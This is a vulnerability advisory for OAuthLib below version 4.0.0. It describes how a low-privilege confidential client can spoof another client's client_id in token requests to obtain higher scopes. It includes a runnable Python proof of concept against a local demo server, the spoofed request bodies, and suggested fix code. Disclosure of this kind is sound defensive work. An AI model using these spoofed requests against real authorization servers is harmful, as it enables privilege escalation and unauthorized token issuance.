---
id: CVE-2026-118669
aliases:
  - GHSA-7984-qgvg-3j9c
title: >-
  OAuthLib: Token grants can use attacker-supplied client_id for authorization
  after authenticating a different client
summary: >-
  OAuthLib: Token grants can use attacker-supplied client_id for authorization
  after authenticating a different client
severity: high
cvss: 8.4
cvssVector: 'CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N'
vendor: oauthlib
product: oauthlib
ecosystem: pip
affected:
  - oauthlib < 4.0.0
patched:
  - oauthlib 4.0.0
published: '2026-10-30'
updated: '2026-10-30'
sourceUpdated: '2026-10-30T23:15:08.286894189Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-7984-qgvg-3j9c'
references:
  - url: >-
      https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-118669'
  - url: 'https://github.com/oauthlib/oauthlib/pull/920'
  - url: >-
      https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d
  - url: 'https://github.com/oauthlib/oauthlib'
  - url: 'https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0'
  - url: 'https://github.com/advisories/GHSA-7984-qgvg-3j9c'
tags:
  - osv
  - pip
  - ghsa
  - cve.org
epss: 0.00312
epssPercentile: 0.24161
cvssSource: cna
cwe:
  - CWE-863
ingestedAt: '2026-10-30T21:09:21.612Z'
---

## Overview

## Summary

OAuthlib's token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied `client_id` from the request body.

In affected token grant flows, `authenticate_client(request)` sets `request.client` to the authenticated client object, but OAuthlib does not require `request.client_id` to match `request.client.client_id`. If the request body already contains `client_id=...`, OAuthlib keeps that value and passes it to `validate_grant_type()` and `validate_scopes()`.

As a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client's `client_id` in the token request body, and cause grant and scope validation to run under that other client identity.

## Affected Surface

The affected public surface is the OAuth2 token endpoint handling for:

- `client_credentials`
- `password` / Resource Owner Password Credentials

The issue is relevant to OAuthlib provider deployments where:

- the attacker has credentials for one valid lower-privilege confidential client;
- another client has broader grants or scopes;
- the application validator uses the `client_id` argument passed by OAuthlib in `validate_grant_type()` or `validate_scopes()`, as the `RequestValidator` API is designed to support.

Deployments whose validators ignore the `client_id` argument and authorize only from `request.client` may not be affected.

## Details

`Request` parses query and body parameters into request attributes, including `client_id`:

- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397

The `RequestValidator.authenticate_client()` contract requires the integrator to authenticate the client and set `request.client`:

- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66

For the `client_credentials` grant, OAuthlib authenticates the client, verifies that `request.client` has a `client_id`, then performs grant and scope validation before normalizing `request.client_id` from `request.client.client_id`:

- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119

The problematic order is:

```python
if not self.request_validator.authenticate_client(request):
    ...
elif not hasattr(request.client, 'client_id'):
    ...

self.validate_grant_type(request)

request.client_id = request.client_id or request.client.client_id
self.validate_scopes(request)
```

Because OAuthlib only fills `request.client_id` when it is missing, an attacker-supplied body value such as `client_id=high` survives even when `request.client.client_id == "low"`.

The shared grant helper then authorizes using `request.client_id`, while passing the authenticated client object separately:

- `validate_grant_type(request.client_id, request.grant_type, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162
- `validate_scopes(request.client_id, request.scopes, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176

The same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing `request.client_id` from `request.client.client_id`:

- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195

This creates an inconsistent identity state:

```text
request.client.client_id == "low"   # authenticated client
request.client_id == "high"         # attacker-supplied request parameter
```

OAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled `request.client_id` as the first-class `client_id` argument.

## Impact

An authenticated lower-privilege confidential client can obtain tokens authorized under another client's grant and scope policy if the application's validator follows the `RequestValidator` API and authorizes by the `client_id` argument.

Concrete impact can include:

- issuing access tokens with scopes not assigned to the authenticated client;
- allowing a low-privilege client to use a grant type reserved for a higher-privilege client;
- persisting tokens under a spoofed `client_id` while the authenticated client object is different.

This is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.

## PoC

Create the following files in an empty directory.

`requirements.txt`:

```text
oauthlib==3.3.1
```

`repro.py`:

```python
import base64
import json

from oauthlib.oauth2 import (
    BearerToken,
    ClientCredentialsGrant,
    RequestValidator,
    ResourceOwnerPasswordCredentialsGrant,
    TokenEndpoint,
)


class Client:
    def __init__(self, client_id):
        self.client_id = client_id


CLIENTS = {
    "low": {
        "secret": "low-secret",
        "grants": {"client_credentials", "password"},
        "scopes": {"read"},
    },
    "high": {
        "secret": "high-secret",
        "grants": {"client_credentials", "password"},
        "scopes": {"read", "admin"},
    },
}


class DemoValidator(RequestValidator):
    def __init__(self):
        self.saved_tokens = []

    def authenticate_client(self, request, *args, **kwargs):
        authorization = request.headers.get("Authorization", "")
        prefix = "Basic "
        if not authorization.startswith(prefix):
            return False

        decoded = base64.b64decode(authorization[len(prefix):]).decode("utf-8")
        client_id, secret = decoded.split(":", 1)
        record = CLIENTS.get(client_id)
        if record is None or record["secret"] != secret:
            return False

        # This is the authenticated client identity.
        request.client = Client(client_id)
        return True

    def client_authentication_required(self, request, *args, **kwargs):
        return True

    def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):
        record = CLIENTS.get(client_id)
        return record is not None and grant_type in record["grants"]

    def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):
        record = CLIENTS.get(client_id)
        return record is not None and set(scopes or []) <= record["scopes"]

    def get_default_scopes(self, client_id, request, *args, **kwargs):
        return []

    def validate_user(self, username, password, client, request, *args, **kwargs):
        if username == "alice" and password == "wonderland":
            request.user = username
            return True
        return False

    def save_bearer_token(self, token, request, *args, **kwargs):
        self.saved_tokens.append({
            "token": dict(token),
            "authenticated_client_id": request.client.client_id,
            "request_client_id": request.client_id,
            "scopes": list(request.scopes or []),
        })


validator = DemoValidator()
token = BearerToken(validator, expires_in=3600)
endpoint = TokenEndpoint(
    default_grant_type="client_credentials",
    default_token_type=token,
    grant_types={
        "client_credentials": ClientCredentialsGrant(validator),
        "password": ResourceOwnerPasswordCredentialsGrant(validator),
    },
)


def low_client_headers():
    value = base64.b64encode(b"low:low-secret").decode("ascii")
    return {"Authorization": f"Basic {value}"}


def token_request(body):
    _headers, response_body, status = endpoint.create_token_response(
        "https://auth.example/token",
        body=body,
        headers=low_client_headers(),
    )
    return status, json.loads(response_body)


def assert_rejected(label, body):
    status, response = token_request(body)
    print(label, status, response)
    if status == 200:
        raise SystemExit(f"{label}: expected rejection, got success")


def assert_spoofed_success(label, body):
    status, response = token_request(body)
    print(label, status, response)
    if status != 200:
        raise SystemExit(f"{label}: expected token, got {status} {response}")
    if response.get("scope") != "admin":
        raise SystemExit(f"{label}: expected admin scope, got {response}")

    saved = validator.saved_tokens[-1]
    if saved["authenticated_client_id"] != "low":
        raise SystemExit(f"{label}: authenticated client changed unexpectedly: {saved}")
    if saved["request_client_id"] != "high":
        raise SystemExit(f"{label}: spoofed request client_id was not preserved: {saved}")


assert_rejected(
    "control client_credentials as low requesting admin",
    "grant_type=client_credentials&client_id=low&scope=admin",
)
assert_spoofed_success(
    "spoofed client_credentials as low with client_id=high",
    "grant_type=client_credentials&client_id=high&scope=admin",
)

assert_rejected(
    "control password as low requesting admin",
    "grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin",
)
assert_spoofed_success(
    "spoofed password as low with client_id=high",
    "grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin",
)

print("OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED")
print(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))
```

Run:

```bash
python -m venv .venv
. .venv/bin/activate
python -m pip install -r requirements.txt
python repro.py
```

Expected result:

```text
control client_credentials as low requesting admin 400 {'error': 'invalid_scope'}
spoofed client_credentials as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin'}
control password as low requesting admin 400 {'error': 'invalid_scope'}
spoofed password as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'}
OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED
```

The success condition is that both successful token responses are produced while the saved token state shows:

```json
{
  "authenticated_client_id": "low",
  "request_client_id": "high",
  "scopes": ["admin"]
}
```

That demonstrates that the authenticated client is `low`, while grant and scope authorization used the attacker-supplied `client_id=high`.

## Suggested Remediation

After client authentication succeeds, OAuthlib should reject a token request if an explicit request `client_id` is present and does not match `request.client.client_id`.

For authenticated confidential-client flows, a safer invariant is:

```python
if request.client is not None:
    if request.client_id is not None and request.client_id != request.client.client_id:
        raise InvalidClientError(...)
    request.client_id = request.client.client_id
```

This should happen before `validate_grant_type()` and `validate_scopes()` are called.

Reporters:

- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/
- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/
- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/
- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/
- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/

## Affected packages

- `oauthlib < 4.0.0`

## Remediation

Upgrade to a patched release:

- `oauthlib 4.0.0`
